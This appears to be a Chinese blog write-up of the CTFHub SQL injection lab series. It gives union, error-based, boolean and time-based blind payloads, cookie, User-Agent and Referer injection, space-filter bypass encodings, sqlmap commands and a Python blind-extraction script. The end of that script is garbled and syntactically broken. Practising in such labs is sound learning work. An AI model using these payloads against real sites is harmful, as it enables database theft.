CTFHub-技能树-SQL注入

CTFHub-技能树-SQL注入

 

终于到sql注入了,最先了解到的安全名词就是sql注入,但也因为sql注入,让我自闭了好久,这次干tm的淦!

 

1.整数型注入

 

先用orde by测了下回显位,一共有两个

 

试了下,加引号没有报错回显,而且加注释也不显示,判断SQL语句没有被引号包围

测试回显位

(TIPS:测试回显位的时候要注意,选一个为空的id传入,不然回显位会被覆盖,没法测试)

 

 

 

 

爆数据库名

 

 

 

 

爆表名

 

 

 

 

爆字段名

 

 

 

 

拿到flag:

 

 

 

 

爆数据库名/表名/字段名,还有一些其他常用的SQL语句一定要理解掌握

 爆数据库名:
 select 1,group_concat(schema_name) from information_schema.schemata
 select 1,database()
 
 爆表名:
 select 1,group_concat(table_name) from information_schema.tables where table_schema =
 
 爆字段名:
 select 1,group_concat(column_name) from information_schema.columns where table_name =
 
 爆flag:
 select 1,group_concat(flag) from flag

 

中午本来打算继续做题的,BUT发现了lol卡牌游戏LOR,就去玩了一中午 = =,刚恰完饭,开肝!

 

2.字符型注入

 

因为和上一题一样的页面,推测回显位也一样,测试:

 

 

 

 

爆数据库名

 

 

 

 

爆表名

 

 

 

 

爆字段名

 

 

 

 

拿到flag

 

 

 

 

 

3.报错型注入

以前没有学过报错型注入,google了一下,看到and (select 1 from (select count(*), concat(database(), floor(rand(0)*2))x from information_schema.tables group by x)a)的时候人有点懵,然后做题过程也是很曲折 = = 加油加油

 

这里的知识点参考了前辈的博客(tips:前辈讲的很清楚,比我写的要详细,好理解很多)

这道题是floor()报错注入,(当然还有其他报错注入类型

需要了解几个相关知识点:

  • floor()函数:向下取整,比如floor(1.5)=1

  • rand()函数:

    • 产生0到1之间的随机数

    • 用rand(0)*2是因为它产生的随机数序列一定,011011001(与 group by 一同作用产生报错)

  • group by是根据某个字段来对数据进行分组的函数,会生成一张新的虚表(临时表)

  • ( xxxx )a == ( xxx ) as a

  • count(*)计数函数

  • 具体过程:

    • and (select 1 from (select count(*), concat(database(), floor(rand(0)*2))x from information_schema.tables group by x)a)

    • 首先group by 访问x,即concat(database(), floor(rand(0)*2))x(后边的解释需要忽略掉database()),这里第一次触发里面的rand()函数,取值为0,然后group by会去表里查找有无(group_key字段)值为0的项,因为是空表,没有值为0的项,所以要做插入操作,而插入的时候,还会再调用一次x,并把新生成的x插入到表中,即插入了1,对应的count(*)字段为1

    • group by第二次访问x,值为1,查询发现该项存在,因此不用插入,直接count(*)加一

    • group by第三次访问x,同上

    • group by第四次访问x,值为0,查询发现没有值为0的项,因此要插入,插入的时候再次访问x,拿到的值是1,插入之后,表中有两个值相同的项,因此会触发dumplicated key error

 

报错的利用方式: concat(需要的值, floor(rand(0)*2)),就是把需要的值和随机数一块存进去

 

做题过程:

 

爆数据库名:

 

 

 

 

爆表名:

 

 

 

 

爆字段名:

(图截错了),语句是select concat(column_name) from information_schema.columns where table_name = 'flag' 如果报错可以加个limit 0,1试试 ,我记不太清了

 

拿到flag:

 

 

 

 

掌握新姿势的感觉真的很不错

 

 

4.布尔型注入

 

今天尽量把sql注入肝完,然后留点事件想一下wp是发在第三方博客、自己搭一个博客还是自己弄个公众号

 

老实说,= = 我一中午就做了一道题,不过庆幸的是学了很多新东西,想起李慢慢的话:“因为慢所以快。”

 

先讲一下布尔注入的核心思想:

  • 构造的查询语句返回的是布尔值(0/1)

  • 查询结果的布尔值能通过一些标志(比如 success/fail 或者 显示结果/不显示结果)体现出来

 

这里给大家踩个坑,这道题里的布尔值反映的是查询过程,而非查询结果,即,sql执行不正确才会fail(意思就是查询过程正常,则返回success,查询过程出错,则返回fail,与查询结果是否为空无关)。

 

 

 

这里特别感谢羽(一位前辈)的解惑和鼓励。

 

经典布尔注入语句:

  • 判断数据库名长度: if(length(database())>1, 1, (select table_name from information_schema.tables))

    • if(a, b, c) ,a正确则执行b,否则执行c,对应一下,即长度符合推测则返回正确否则失败(原因如下)

    • if里的c,构造了一个错误的select语句(缺少了from information_......),所以会报错进而查询失败

    • 判断表名长度/字段名长度稍微改一下,length(database())>1换成(select length(table_name) from information_schema.tables where table_schema=database())>1

 

  • 判断数据库名: if(ascii(substr(database(), 1, 1))>1, 1, (select table_name from information_schema.tables))

    • 与判断长度的语句相比,改变了if里的a部分

    • ascii()是将字符转换为ascii码的函数

    • substr(string, position, length)是字符截取函数,第一个参数是被截取的字符串,第二个参数是截取开始的位置(从1开始),第三个是截取的长度

    • 查询表明字段名,把databse()换成(select xxx from xxxxx)就好

这里我尝试过直接用substr()="x"来判断,但是会一直报错,挖个坑,把mysql修好之后就来找下原因。

 

知道基本语句和原理之后就可以直接开x

 

检测数据库名长度:

这里试了下延时注入,sleep(2)的意思是等待2秒

 

 

 

 

爆库名:(写了脚本,在后边贴着)

 

 

 

 

检测表名长度:

 

 

 

 

爆表名:

 

 

 

 

检测字段名长度

 

 

 

 

爆字段名:

 

 

 

 

检测flag长度:

 

 

 

 

爆flag:

爆flag的时候,第一次错了,因为脚本的ascii范围设置小了(踩坑)

 

 

 

第二次正确!

 

 

 

 

今天看了一个教学视频,发现burp的intruder也可以用于猜解,当然sqlmap最好用,不过我还是建议先自己写脚本,能对注入原理和过程有更深的理解.

 

python脚本:!!!!!!!(因为之前用的编辑器格式不正确,现在已经不能修改了,所以大家要代码的话,点一下边框右边的复制,粘到ide里看吧。

 """
 Title: SQLi_Bool
 Author: Recol
 Date: 2020-03-07
 """
 
 import requests
 
 baseurl = 'url?id=1 and '  # 这里的and和空格一定要保留
 string = 'qwertyuiopasdfghjklzxcvbnm1234567890@{}-.'  # 可能出现的字符
 headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
                          'Chrome/81.0.4044.9 Safari/537.36'}
 flag = 'query_success'
 lll = 5  # 要爆破的表的数量(偷了个懒
 
 
 def get_database_length():
     sql = 'if(length(database())=%d, 1, (select table_name from information_schema.tables))'
     sql_url = baseurl + sql
     database_length = 1
     while database_length:
         res = requests.get(url=sql_url % database_length, headers=headers)
         if flag in res.text:
             break
         database_length += 1
 
     print(database_length)
     return database_length
 
 
 def get_database_name(database_length):
     sql = 'if(substr(database(),%d,1)="%s", 1, (select table_name from information_schema.tables))'
     sql_url = baseurl + sql
     database_name = ''
     for i in range(1, database_length + 1):
         for x in string:
             res = requests.get(url=sql_url % (i, x), headers=headers)
             if flag in res.text:
                 print(x)
                 database_name += x
 
     print(database_name)
     return database_name
 
 
 def get_table_length(database_name="database()"):
     sql = 'if((select length(table_name) from information_schema.tables where table_schema=%s limit 1,1)=%d,1,(select table_name from information_schema.tables))'
     sql_url = baseurl + sql
     table_length = 1
     for i in range(0, lll):
         while table_length:
             print(table_length)
             res = requests.get(url=sql_url % (database_name, table_length), headers=headers)
             if flag in res.text:
                 break
             table_length += 1
             if table_length > 100:
                 table_length = -1
                 break
 
     print(table_length)
     return table_length
 
 
 def get_table_name(table_length, databse_name="database()"):
     sql = 'if(ascii(substr((select table_name from information_schema.tables where table_schema=%s limit %d,1),%d,1))>%d, 1, (select table_name from information_schema.tables))'
     sql_url = baseurl + sql
     tables = []
     table_name = ''
     for i in range(lll):
         for no in range(1, table_length + 1):
             for x in range(30, 200):
                 res = requests.get(url=sql_url % (databse_name, i, no, x), headers=headers)
                 if flag in res.text:
                     print(x)
                     continue
                 else:
                     table_name += chr(x)
                     print(table_name)
                     break
         print(table_name)
         tables.append(table_name)
         table_name = ''
 
     print(tables)
     return tables
 
 
 def get_column_length(table_name="flag"):
     sql = 'if((select length(column_name) from information_schema.columns where table_name=%s limit 0,1)=%d,1,' \
           '(select table_name from information_schema.tables))'
     sql_url = baseurl + sql
     column_length = 1
     for i in range(0, lll):
         while column_length:
             print(column_length)
             res = requests.get(url=sql_url % (table_name, column_length), headers=headers)
             if flag in res.text:
                 print('aaaaa')
                 break
             column_length += 1
             if column_length > 100:
                 table_length = -1
                 break
 
     print(column_length)
     return column_length
 
 
 def get_column_name(column_length=4, table_name="flag"):
     sql = 'if(ascii(substr((select column_name from information_schema.columns where table_name="%s" limit 0,1),%d,1))>%d, 1, (select table_name from information_schema.tables))'
     sql_url = baseurl + sql
     column_name = ''
     for no in range(1, column_length + 1):
         for x in range(70, 200):
             res = requests.get(url=sql_url % (table_name, no, x), headers=headers)
             if flag in res.text:
                 # print(x)
                 continue
             else:
                 column_name += chr(x)
                 break
         print(column_name)
 
     return column_name
 
 
 def get_flag_length(table_name="flag"):
     sql = 'if((select length(flag) from %s limit 0,1)=%d,1,(select table_name from information_schema.tables))'
     sql_url = baseurl + sql
     flag_length = 1
     for i in range(0, lll):
         while flag_length:
             print(flag_length) 
           res = requests.get(url=sql_url % (table_name, flag_length), headers=headers) 
           if flag in res.text: 
               print(flag_length) 
               return flag_length 
           flag_length +=
           if flag_length > 200: 
               table_length = -
               break 
​ 
​ 
def get_flag_name(flag_length=48, table_name="flag"): 
   sql = 'if(ascii(substr((select flag from %s limit 0,1),%d,1))>%d, 1, (select table_name from information_schema.tables))' 
   sql_url = baseurl + sql 
   flag_name = '' 
   for no in range(1, flag_length + 1): 
       for x in range(30, 200): 
           res = requests.get(url=sql_url % (table_name, no, x), headers=headers) 
           if flag in res.text: 
               continue 
           else: 
               flag_name += chr(x) 
               break 
       print(flag_name) 
​ 
   return flag_name 

 

 

5.延时盲注

 

盲注的意思是,sql语句查询的结果不会回显,所以需要借助sleep()函数

经典语句: ( 与前边布尔型有一点点差别,即判断正确则sleep(2) )

and if(length(database())=1, sleep(2), 1)

延时盲注的脚本可以使用简单修改过的布尔盲注的脚本,用时间差检测替换flag(query_success)即可,此外还可以进行优化,把猜解的ascii码范围控制在正确字符范围内,减少猜解次数和时间

 

我这道题没有去改脚本==,直接用的sqlmap, sqlmap的用法总结也找到了( 空了放一下

 

做题:

 

先用经典语句看一下是否生效:

 

 

 

延时两秒,注入成功

然后直接上sqlmap

爆库名

 

 

 

爆表名

 

 

 

爆字段名, 这里我手动终止了

 

 

 

爆flag

 

 

 

 

这里放个sqlmap基础指令:

 爆数据库
 sqlmap -u [url] -p [param] --curent-db
 爆表名
 sqlmap -u [url] -p [param] -D databse --tables
 爆字段名
 sqlmap -u [url] -p [param] -D database -T table --columns
 爆数据项
 sqlmap -u [url] -p [param] -D databse -T table -C column --dump
 
 其他参数:
 -technique T 基于时间的盲注
 --time-sec x 设置盲注的时间,单位秒
 

 

6.MySQL结构

 

我看到这道题,毫无思绪 = =,真的不知道是要考什么,就是字符型注入,然后直接丢给sqlmap

 

 

 

 

就不一一贴图了,放个结果

 

 

 

 

 

7.Cookie 注入

 

前边做了两道盲注,也看了很多相关的知识点,所以再看到这种给了注入点的题就觉得很容易了

 

直接告诉Cookie里的id是注入点

 

 

 

burp抓包验证

 

 

爆库名

 

 

爆表名

 

 

爆字段名

 

 

拿flag

 

 

 

8.UA注入

 

直接明示UA是注入点,就不再截图了,做法和前边的做法一样,只是把注入点换到了请求头的UA字段

 

 

 

9.Refer注入

 

这道题也是明示,也就不贴图了,但是要自己在请求头里添加Referer字段

 

 

 

 

 

 

 

终于肝完了,但是感觉应该是刚入门,还有很多细分类别没有学,包括一些常见bypass姿势,希望剩下的题目能早点出来,然后就可以继续做了。

 

 

 

 

10.过滤空格

 

试了一下,下边这些字符都可以bypass

  • /**/

  • %09

  • %0A

  • %0B

  • %0C

  • %0D

 

除了用这些字符来代替空格之外,步骤与其他题目一样

 

 

 

 

 

 

 

 

 

posted @ 2020-03-10 00:57  R3col  阅读(485)  评论(0编辑  收藏  举报